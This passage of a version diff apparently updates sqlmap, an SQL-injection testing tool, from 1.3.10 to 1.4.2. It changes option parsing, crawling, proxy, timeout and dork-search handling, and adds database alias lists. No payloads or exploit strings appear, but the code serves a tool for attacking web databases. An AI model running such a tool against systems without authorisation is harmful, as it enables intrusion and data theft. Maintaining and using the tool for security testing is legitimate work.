 from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
 from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
 from lib.core.settings import SUPPORTED_DBMS
@@ -132,7 +136,6 @@ from lib.core.update import update
 from lib.parse.configfile import configFileParser
 from lib.parse.payloads import loadBoundaries
 from lib.parse.payloads import loadPayloads
-from lib.parse.sitemap import parseSitemap
 from lib.request.basic import checkCharEncoding
 from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler
 from lib.request.chunkedhandler import ChunkedHandler
@@ -314,7 +317,7 @@ def _setRequestFromFile():
 
             if url is None:
                 errMsg = "specified file '%s' " % requestFile
-                errMsg += "does not contain a valid HTTP request"
+                errMsg += "does not contain a usable HTTP request (with parameters)"
                 raise SqlmapDataException(errMsg)
 
     if conf.secondReq:
@@ -328,32 +331,24 @@ def _setRequestFromFile():
         infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq
         logger.info(infoMsg)
 
-        target = next(parseRequestFile(conf.secondReq, False))
+        try:
-        kb.secondReq = target
+            target = next(parseRequestFile(conf.secondReq, False))
+            kb.secondReq = target
+        except StopIteration:
+            errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq
+            errMsg += "does not contain a valid HTTP request"
+            raise SqlmapDataException(errMsg)
 
 def _setCrawler():
     if not conf.crawlDepth:
         return
 
-    if not any((conf.bulkFile, conf.sitemapUrl)):
+    if not conf.bulkFile:
-        crawl(conf.url)
+        if conf.url:
-    else:
+            crawl(conf.url)
-        if conf.bulkFile:
+        elif conf.requestFile and kb.targets:
-            targets = getFileItems(conf.bulkFile)
+            target = next(iter(kb.targets))
-        else:
+            crawl(target[0], target[2], target[3])
-            targets = list(parseSitemap(conf.sitemapUrl))
-
-        for i in xrange(len(targets)):
-            try:
-                target = targets[i]
-                crawl(target)
-
-                if conf.verbose in (1, 2):
-                    status = "%d/%d links visited (%d%%)" % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets)))
-                    dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True)
-            except Exception as ex:
-                errMsg = "problem occurred while crawling at '%s' ('%s')" % (target, getSafeExString(ex))
-                logger.error(errMsg)
 
 def _doSearch():
     """
@@ -391,7 +386,7 @@ def _doSearch():
         links = retrieve()
 
         if kb.targets:
-            infoMsg = "sqlmap got %d results for your " % len(links)
+            infoMsg = "found %d results for your " % len(links)
             infoMsg += "search dork expression, "
 
             if len(links) == len(kb.targets):
@@ -404,7 +399,7 @@ def _doSearch():
             break
 
         else:
-            message = "sqlmap got %d results " % len(links)
+            message = "found %d results " % len(links)
             message += "for your search dork expression, but none of them "
             message += "have GET parameters to test for SQL injection. "
             message += "Do you want to skip to the next result page? [Y/n]"
@@ -438,23 +433,6 @@ def _setBulkMultipleTargets():
         warnMsg = "no usable links found (with GET parameters)"
         logger.warn(warnMsg)
 
-def _setSitemapTargets():
-    if not conf.sitemapUrl:
-        return
-
-    infoMsg = "parsing sitemap '%s'" % conf.sitemapUrl
-    logger.info(infoMsg)
-
-    found = False
-    for item in parseSitemap(conf.sitemapUrl):
-        if re.match(r"[^ ]+\?(.+)", item, re.I):
-            found = True
-            kb.targets.add((item.strip(), None, None, None, None))
-
-    if not found and not conf.forms and not conf.crawlDepth:
-        warnMsg = "no usable links found (with GET parameters)"
-        logger.warn(warnMsg)
-
 def _findPageForms():
     if not conf.forms or conf.crawlDepth:
         return
@@ -466,15 +444,13 @@ def _findPageForms():
     infoMsg = "searching for forms"
     logger.info(infoMsg)
 
-    if not any((conf.bulkFile, conf.googleDork, conf.sitemapUrl)):
+    if not any((conf.bulkFile, conf.googleDork)):
-        page, _, _ = Request.queryPage(content=True)
+        page, _, _ = Request.queryPage(content=True, ignoreSecondOrder=True)
         if findPageForms(page, conf.url, True, True):
             found = True
     else:
         if conf.bulkFile:
             targets = getFileItems(conf.bulkFile)
-        elif conf.sitemapUrl:
-            targets = list(parseSitemap(conf.sitemapUrl))
         elif conf.googleDork:
             targets = [_[0] for _ in kb.targets]
             kb.targets.clear()
@@ -483,7 +459,11 @@ def _findPageForms():
 
         for i in xrange(len(targets)):
             try:
-                target = targets[i]
+                target = targets[i].strip()
+
+                if not re.search(r"(?i)\Ahttp[s]*://", target):
+                    target = "http://%s" % target
+
                 page, _, _ = Request.getPage(url=target.strip(), cookie=conf.cookie, crawling=True, raise404=False)
                 if findPageForms(page, target, False, True):
                     found = True
@@ -1021,7 +1001,7 @@ def _setHTTPHandlers():
                 errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex))
                 raise SqlmapSyntaxException(errMsg)
 
-            hostnamePort = _.netloc.split(":")
+            hostnamePort = _.netloc.rsplit(":", 1)
 
             scheme = _.scheme.upper()
             hostname = hostnamePort[0]
@@ -1158,14 +1138,14 @@ def _setSafeVisit():
             errMsg = "invalid format of a safe request file"
             raise SqlmapSyntaxException(errMsg)
     else:
-        if not re.search(r"\Ahttp[s]*://", conf.safeUrl):
+        if not re.search(r"(?i)\Ahttp[s]*://", conf.safeUrl):
             if ":443/" in conf.safeUrl:
-                conf.safeUrl = "https://" + conf.safeUrl
+                conf.safeUrl = "https://%s" % conf.safeUrl
             else:
-                conf.safeUrl = "http://" + conf.safeUrl
+                conf.safeUrl = "http://%s" % conf.safeUrl
 
     if (conf.safeFreq or 0) <= 0:
-        errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features"
+        errMsg = "please provide a valid value (>0) for safe frequency ('--safe-freq') while using safe visit features"
         raise SqlmapSyntaxException(errMsg)
 
 def _setPrefixSuffix():
@@ -1227,7 +1207,7 @@ def _setHTTPAuthentication():
 
     elif not conf.authType and conf.authCred:
         errMsg = "you specified the HTTP authentication credentials, "
-        errMsg += "but did not provide the type"
+        errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")"
         raise SqlmapSyntaxException(errMsg)
 
     elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.PKI):
@@ -1446,7 +1426,10 @@ def _setHTTPTimeout():
     else:
         conf.timeout = 30.0
 
-    socket.setdefaulttimeout(conf.timeout)
+    try:
+        socket.setdefaulttimeout(conf.timeout)
+    except OverflowError as ex:
+        raise SqlmapValueException("invalid value used for option '--timeout' ('%s')" % getSafeExString(ex))
 
 def _checkDependencies():
     """
@@ -1548,6 +1531,13 @@ def _cleanupOptions():
     Cleanup configuration attributes.
     """
 
+    if conf.encoding:
+        try:
+            codecs.lookup(conf.encoding)
+        except LookupError:
+            errMsg = "unknown encoding '%s'" % conf.encoding
+            raise SqlmapValueException(errMsg)
+
     debugMsg = "cleaning up configuration parameters"
     logger.debug(debugMsg)
 
@@ -1569,11 +1559,14 @@ def _cleanupOptions():
         conf.testParameter = []
 
     if conf.ignoreCode:
-        try:
+        if conf.ignoreCode == IGNORE_CODE_WILDCARD:
-            conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)]
+            conf.ignoreCode = xrange(0, 1000)
-        except ValueError:
+        else:
-            errMsg = "options '--ignore-code' should contain a list of integer values"
+            try:
-            raise SqlmapSyntaxException(errMsg)
+                conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)]
+            except ValueError:
+                errMsg = "options '--ignore-code' should contain a list of integer values or a wildcard value '%s'" % IGNORE_CODE_WILDCARD
+                raise SqlmapSyntaxException(errMsg)
     else:
         conf.ignoreCode = []
 
@@ -1641,16 +1634,13 @@ def _cleanupOptions():
     if conf.fileDest:
         conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest))
 
-    if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"):
-        conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl)
-
     if conf.msfPath:
         conf.msfPath = ntToPosixSlashes(normalizePath(conf.msfPath))
 
     if conf.tmpPath:
         conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath))
 
-    if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.forms, conf.crawlDepth)):
+    if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth)):
         conf.multipleTargets = True
 
     if conf.optimize:
@@ -1745,8 +1735,7 @@ def _cleanupOptions():
             conf.__setitem__(_, True)
 
     if conf.noCast:
-        for _ in list(DUMP_REPLACEMENTS.keys()):
+        DUMP_REPLACEMENTS.clear()
-            del DUMP_REPLACEMENTS[_]
 
     if conf.dumpFormat:
         conf.dumpFormat = conf.dumpFormat.upper()
@@ -1758,10 +1747,29 @@ def _cleanupOptions():
         conf.col = re.sub(r"\s*,\s*", ',', conf.col)
 
     if conf.exclude:
-        conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
+        regex = False
+        if any(_ in conf.exclude for _ in ('+', '*')):
+            try:
+                re.compile(conf.exclude)
+            except re.error:
+                pass
+            else:
+                regex = True
+
+        if not regex:
+            conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
+            conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(','))
 
     if conf.binaryFields:
-        conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields)
+        conf.binaryFields = conf.binaryFields.replace(" ", "")
+        conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields)
+
+    envProxy = max(os.environ.get(_, "") for _ in PROXY_ENVIRONMENT_VARIABLES)
+    if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None:
+        debugMsg = "using environment proxy '%s'" % envProxy
+        logger.debug(debugMsg)
+
+        conf.proxy = envProxy
 
     if any((conf.proxy, conf.proxyFile, conf.tor)):
         conf.disablePrecon = True
@@ -1821,7 +1829,6 @@ def _setConfAttributes():
     conf.path = None
     conf.port = None
     conf.proxyList = None
-    conf.resultsFilename = None
     conf.resultsFP = None
     conf.scheme = None
     conf.tests = []
@@ -1889,6 +1896,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
 
     kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
     kb.dep = None
+    kb.disableHtmlDecoding = False
     kb.dnsMode = False
     kb.dnsTest = None
     kb.docRoot = None
@@ -1910,6 +1918,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.forcePartialUnion = False
     kb.forceThreads = None
     kb.forceWhere = None
+    kb.forkNote = None
     kb.futileUnion = None
     kb.heavilyDynamic = False
     kb.headersFile = None
@@ -1931,6 +1940,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.injections = []
     kb.laggingChecked = False
     kb.lastParserStatus = None
+    kb.lastCtrlCTime = None
 
     kb.locks = AttribDict()
     for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
@@ -1994,7 +2004,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.reduceTests = None
     kb.tlsSNI = {}
     kb.stickyDBMS = False
-    kb.storeCrawlingChoice = None
     kb.storeHashesChoice = None
     kb.suppressResumeInfo = False
     kb.tableFrom = None
@@ -2008,16 +2017,21 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.threadException = False
     kb.tableExistsChoice = None
     kb.uChar = NULL
+    kb.udfFail = False
     kb.unionDuplicates = False
+    kb.webSocketRecvCount = None
     kb.wizardMode = False
     kb.xpCmdshellAvailable = False
 
     if flushAll:
+        kb.checkSitemap = None
         kb.headerPaths = {}
         kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
+        kb.normalizeCrawlingChoice = None
         kb.passwordMgr = None
         kb.preprocessFunctions = []
         kb.skipVulnHost = None
+        kb.storeCrawlingChoice = None
         kb.tamperFunctions = []
         kb.targets = OrderedSet()
         kb.testedParams = set()
@@ -2206,6 +2220,13 @@ def _mergeOptions(inputOptions, overrideOptions):
         if hasattr(conf, key) and conf[key] is None:
             conf[key] = value
 
+            if conf.unstable:
+                if key in ("timeSec", "retries", "timeout"):
+                    conf[key] *= 2
+
+    if conf.unstable:
+        conf.forcePartial = True
+
     lut = {}
     for group in optDict.keys():
         lut.update((_.upper(), _) for _ in optDict[group])
@@ -2458,6 +2479,10 @@ def _basicOptionValidation():
             errMsg = "invalid regular expression '%s' ('%s')" % (conf.paramExclude, getSafeExString(ex))
             raise SqlmapSyntaxException(errMsg)
 
+    if conf.cookieDel and len(conf.cookieDel):
+        errMsg = "option '--cookie-del' should contain a single character (e.g. ';')"
+        raise SqlmapSyntaxException(errMsg)
+
     if conf.crawlExclude:
         try:
             re.compile(conf.crawlExclude)
@@ -2465,6 +2490,13 @@ def _basicOptionValidation():
             errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex))
             raise SqlmapSyntaxException(errMsg)
 
+    if conf.scope:
+        try:
+            re.compile(conf.scope)
+        except Exception as ex:
+            errMsg = "invalid regular expression '%s' ('%s')" % (conf.scope, getSafeExString(ex))
+            raise SqlmapSyntaxException(errMsg)
+
     if conf.dumpTable and conf.dumpAll:
         errMsg = "switch '--dump' is incompatible with switch '--dump-all'"
         raise SqlmapSyntaxException(errMsg)
@@ -2477,8 +2509,8 @@ def _basicOptionValidation():
         errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
         raise SqlmapSyntaxException(errMsg)
 
-    if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile, conf.sitemapUrl)):
+    if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile)):
-        errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g', '-m' or '-x'"
+        errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g' or '-m'"
         raise SqlmapSyntaxException(errMsg)
 
     if conf.crawlExclude and not conf.crawlDepth:
@@ -2571,6 +2603,10 @@ def _basicOptionValidation():
         errMsg = "option '--proxy' is incompatible with switch '--ignore-proxy'"
         raise SqlmapSyntaxException(errMsg)
 
+    if conf.alert and conf.alert.startswith('-'):
+        errMsg = "value for option '--alert' must be valid operating system command(s)"
+        raise SqlmapSyntaxException(errMsg)
+
     if conf.timeSec < 1:
         errMsg = "value for option '--time-sec' must be a positive integer"
         raise SqlmapSyntaxException(errMsg)
@@ -2579,7 +2615,7 @@ def _basicOptionValidation():
         errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
         raise SqlmapSyntaxException(errMsg)
 
-    if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.sitemapUrl, conf.listTampers)):
+    if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
         errMsg = "option '--crack' should be used as a standalone"
         raise SqlmapSyntaxException(errMsg)
 
@@ -2646,7 +2682,7 @@ def init():
 
     parseTargetDirect()
 
-    if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)):
+    if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork)):
         _setHostname()
         _setHTTPTimeout()
         _setHTTPExtraHeaders()
@@ -2661,7 +2697,6 @@ def init():
         _setSafeVisit()
         _doSearch()
         _setBulkMultipleTargets()
-        _setSitemapTargets()
         _checkTor()
         _setCrawler()
         _findPageForms()

lib/core/optiondict.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -19,7 +19,6 @@ optDict = {
         "sessionFile": "string",
         "googleDork": "string",
         "configFile": "string",
-        "sitemapUrl": "string",
     },
 
     "Request": {
@@ -238,9 +237,11 @@ optDict = {
         "listTampers": "boolean",
         "offline": "boolean",
         "purge": "boolean",
+        "resultsFile": "string",
         "tmpDir": "string",
-        "wizard": "boolean",
+        "unstable": "boolean",
         "updateAll": "boolean",
+        "wizard": "boolean",
         "verbose": "integer",
     },
 
@@ -251,9 +252,6 @@ optDict = {
         "forceDns": "boolean",
         "murphyRate": "integer",
         "smokeTest": "boolean",
-        "liveTest": "boolean",
-        "stopFail": "boolean",
-        "runCase": "string",
     },
 
     "API": {

lib/core/patch.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -20,15 +20,18 @@ import thirdparty.chardet.universaldetector
 
 from lib.core.common import filterNone
 from lib.core.common import getSafeExString
+from lib.core.common import isDigit
 from lib.core.common import isListLike
 from lib.core.common import readInput
 from lib.core.common import shellExec
 from lib.core.common import singleTimeWarnMessage
 from lib.core.convert import stdoutEncode
+from lib.core.data import conf
 from lib.core.option import _setHTTPHandlers
 from lib.core.option import setVerbosity
 from lib.core.settings import IS_WIN
 from lib.request.templates import getPageTemplate
+from thirdparty import six
 from thirdparty.six.moves import http_client as _http_client
 
 def dirtyPatches():
@@ -39,6 +42,17 @@ def dirtyPatches():
     # accept overly long result lines (e.g. SQLi results in HTTP header responses)
     _http_client._MAXLINE = 1 * 1024 * 1024
 
+    # prevent double chunked encoding in case of sqlmap chunking (Note: Python3 does it automatically if 'Content-length' is missing)
+    if six.PY3:
+        if not hasattr(_http_client.HTTPConnection, "__send_output"):
+            _http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output
+        def _send_output(self, *args, **kwargs):
+            if conf.chunked and "encode_chunked" in kwargs:
+                kwargs["encode_chunked"] = False
+            self.__send_output(*args, **kwargs)
+
+        _http_client.HTTPConnection._send_output = _send_output
+
     # add support for inet_pton() on Windows OS
     if IS_WIN:
         from thirdparty.wininetpton import win_inet_pton
@@ -62,6 +76,7 @@ def resolveCrossReferences():
     Place for cross-reference resolution
     """
 
+    lib.core.threads.isDigit = isDigit
     lib.core.threads.readInput = readInput
     lib.core.common.getPageTemplate = getPageTemplate
     lib.core.convert.filterNone = filterNone

lib/core/profiling.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -27,7 +27,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
         import pydot
     except ImportError as ex:
         errMsg = "profiling requires third-party libraries ('%s') " % getSafeExString(ex)
-        errMsg += "(Hint: 'sudo apt-get install python-pydot python-pyparsing python-profiler graphviz')"
+        errMsg += "(Hint: 'sudo apt install python-pydot python-pyparsing python-profiler graphviz')"
         logger.error(errMsg)
 
         return
@@ -84,7 +84,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
         pydotGraph.write_png(imageOutputFile)
     except OSError:
         errMsg = "profiling requires graphviz installed "
-        errMsg += "(Hint: 'sudo apt-get install graphviz')"
+        errMsg += "(Hint: 'sudo apt install graphviz')"
         logger.error(errMsg)
     else:
         infoMsg = "displaying interactive graph with xdot library"

lib/core/readlineng.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/replication.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/revision.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -40,9 +40,14 @@ def getRevisionNumber():
             with openFile(filePath, "r") as f:
                 content = getText(f.read())
                 filePath = None
+
                 if content.startswith("ref: "):
-                    filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip()
+                    try:
-                else:
+                        filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip()
+                    except UnicodeError:
+                        pass
+
+                if filePath is None:
                     match = re.match(r"(?i)[0-9a-f]{32}", content)
                     retVal = match.group(0) if match else None
                     break

lib/core/session.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/settings.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -18,7 +18,7 @@ from lib.core.enums import OS
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.3.10.0"
+VERSION = "1.4.2.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -29,6 +29,7 @@ DEV_EMAIL_ADDRESS = "[email protected]"
 ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
 GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
 GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
+WIKI_PAGE = "https://github.com/sqlmapproject/sqlmap/wiki/"
 ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master"
 
 # colorful banner
@@ -59,6 +60,7 @@ UPPER_RATIO_BOUND = 0.98
 PARAMETER_AMP_MARKER = "__AMP__"
 PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__"
 BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__"
+PARAMETER_PERCENTAGE_MARKER = "__PERCENTAGE__"
 PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__"
 PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
 URI_QUESTION_MARKER = "__QUESTION_MARK__"
@@ -73,6 +75,7 @@ RANDOM_STRING_MARKER = "[RANDSTR]"
 SLEEP_TIME_MARKER = "[SLEEPTIME]"
 INFERENCE_MARKER = "[INFERENCE]"
 SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
+GENERIC_SQL_COMMENT_MARKER = "[GENERIC_SQL_COMMENT]"
 
 PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
 CHAR_INFERENCE_MARK = "%c"
@@ -231,6 +234,9 @@ STDIN_PIPE_DASH = '-'
 # URL used in dummy runs
 DUMMY_URL = "http://foo/bar?id=1"
 
+# Timeout used during initial websocket (pull) testing
+WEBSOCKET_INITIAL_TIMEOUT = 3
+
 # The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos'
 PLATFORM = os.name
 PYVERSION = sys.version.split()[0]
@@ -243,7 +249,7 @@ IS_TTY = os.isatty(sys.stdout.fileno())
 MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB")
 MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys")
 PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
-ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL')
+ORACLE_SYSTEM_DBS = ("ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI", "BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY", "WKSYS", "WMSYS", "XDB", "XS$NULL")
 SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
 ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
 FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
@@ -253,33 +259,54 @@ DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "
 HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
 H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
 INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
+MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
+DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT")
+VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",)
+MCKOI_SYSTEM_DBS = ("",)
+PRESTO_SYSTEM_DBS = ("information_schema",)
+ALTIBASE_SYSTEM_DBS = ("SYSTEM_",)
+MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",)
 
+# Note: (<regular>) + (<forks>)
 MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
-MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria")
+MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona")
-PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg")
+PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb")
 ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
 SQLITE_ALIASES = ("sqlite", "sqlite3")
 ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access")
 FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb")
-MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
+MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db")
 SYBASE_ALIASES = ("sybase", "sybase sql server")
 DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
 HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
 H2_ALIASES = ("h2",)
 INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
+MONETDB_ALIASES = ("monet", "monetdb",)
+DERBY_ALIASES = ("derby", "apache derby",)
+VERTICA_ALIASES = ("vertica",)
+MCKOI_ALIASES = ("mckoi",)
+PRESTO_ALIASES = ("presto",)
+ALTIBASE_ALIASES = ("altibase",)
+MIMERSQL_ALIASES = ("mimersql", "mimer")
 
